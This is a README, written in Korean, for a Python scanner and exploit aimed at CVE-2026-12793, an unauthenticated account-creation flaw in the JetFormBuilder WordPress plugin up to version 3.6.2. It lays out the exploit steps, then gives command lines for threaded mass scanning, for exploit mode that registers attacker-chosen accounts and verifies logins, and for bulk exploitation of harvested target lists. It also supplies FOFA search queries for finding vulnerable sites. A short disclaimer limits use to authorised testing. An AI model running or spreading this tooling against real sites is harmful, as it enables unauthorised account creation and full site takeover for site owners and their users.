
JetFormBuilder <=3.6.2에서 WordPress 관리자 계정을 생성하는 인증되지 않은 권한 상승 취약점인 CVE-2026-12793에 대한 Python PoC 스캐너 및 익스플로잇입니다.
WordPress 플러그인 JetFormBuilder — Dynamic Blocks Form Builder(Crocoblock)의 CVE-2026-12793에 대한 개념 증명 스캐너 및 익스플로잇입니다.
| CVE | CVE-2026-12793 |
| 플러그인 | jetformbuilder |
| 영향 받는 버전 | ≤ 3.6.2 |
| 수정 버전 | 3.6.2.1+ |
| CVSS | 9.8 심각 |
| 인증 | 인증 불필요 |
| CWE | CWE-269 — 부적절한 권한 관리 |
| 연구자 | daroo (Wordfence) |
이 플러그인은 _jet_engine_booking_form_id가 게시된 jet-form-builder 사용자 정의 게시물 유형을 참조하는지 확인하지 않고, 참조된 게시물의 블록 콘텐츠를 폼 스키마로 로드하고 제출 후 작업을 실행합니다.
인증되지 않은 공격자는 조작된 AJAX 요청을 제출하여 Register User 작업(wp_insert_user)을 트리거하고 새로운 WordPress 계정을 생성할 수 있습니다. 대상 폼이 상승된 역할(예: administrator)로 잘못 구성된 경우, 이는 전체 사이트 탈취로 이어집니다.
1. Detect JetFormBuilder + version ≤ 3.6.2 (readme.txt)
2. Discover form ID from public pages (data-form-id, /register/, etc.)
3. POST to referer page with ?jet_form_builder_submit=submit&method=ajax
4. Register User action runs → new WP user created
Block_Helper::is_valid_form_post() — 게시된 jet-form-builder CPT만 허용Form_Handler::set_form_id()는 유효하지 않은 폼 ID를 거부wp_insert_user / wp_update_user가 콜백으로 차단됨)requestspip install requests urllib3
python poc.py -u https://target.example --mode check
python poc.py --list domains.txt --mode check --threads 30 --quiet
입력 형식: 한 줄에 하나의 도메인/URL, FOFA CSV(host,domain), 또는 이전 실행의 candidates.jsonl.
python poc.py -u https://target.example --mode exploit \
--form-id 1858 \
--page-url /register/ \
--fields login=cadastro_nome,email=cadastro_mail,password=cadastro_senha \
--username myuser \
--email [email protected] \
--password 'SecurePass123!' \
--verify
python poc.py --list candidates.jsonl --mode exploit --threads 10 --verify
| 파일 | 내용 |
|---|---|
hits.txt | 취약하거나 익스플로잇된 대상 URL |
{
"target": "https://target.example",
"version": "3.3.3",
"form_id": 1858,
"page_url": "https://target.example/register/",
"fields": {
"login": "user_login",
"email": "user_email",
"password": "user_pass"
}
}
자동 감지된 필드 이름은 휴리스틱입니다. 익스플로잇 전에 항상 확인하고
--fields로 재정의하십시오.
body="/wp-content/plugins/jetformbuilder/"
body="jet-form-builder" && body="wp-content"
header="/wp-content/plugins/jetformbuilder/"
title="WordPress" && body="data-form-id"
버전 확인:
/wp-content/plugins/jetformbuilder/readme.txt
Stable tag: ≤ 3.6.2인지 확인하십시오.
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.
MIT
| 플래그 | 설명 |
|---|
-u, --url | 단일 대상 URL |
--list | 대상 목록 파일 |
--mode | check(기본값) 또는 exploit |
--form-id | 알려진 JetFormBuilder 폼 게시물 ID |
--page-url | 폼을 포함하는 페이지(리퍼러), 예: /register/ |
--fields | 필드 매핑: login=x,email=y,password=z |
--paths | 폼을 찾기 위해 크롤링할 추가 경로 |
--username / --email / --password | 익스플로잇용 자격 증명(생략 시 무작위) |
--verify | 제출 후 wp-login.php를 통해 계정 확인 |
-j, --threads | 워커 스레드(기본값: 20) |
--timeout | HTTP 타임아웃(초)(기본값: 20) |
--proxy | HTTP(S) 프록시 URL |
--output | 전체 JSONL 로그(기본값: cve_2026_12793_results.jsonl) |
--vuln-list | 적중 목록(기본값: hits.txt) |
--candidates-list | 후보 JSONL(기본값: candidates.jsonl) |
-q, --quiet | 진행 상황 출력만 표시 |
candidates.jsonlRegister User 프로브에 도달 가능한 대상(form_id, page_url, fields) |
cve_2026_12793_results.jsonl | 대상별 전체 JSON 결과 |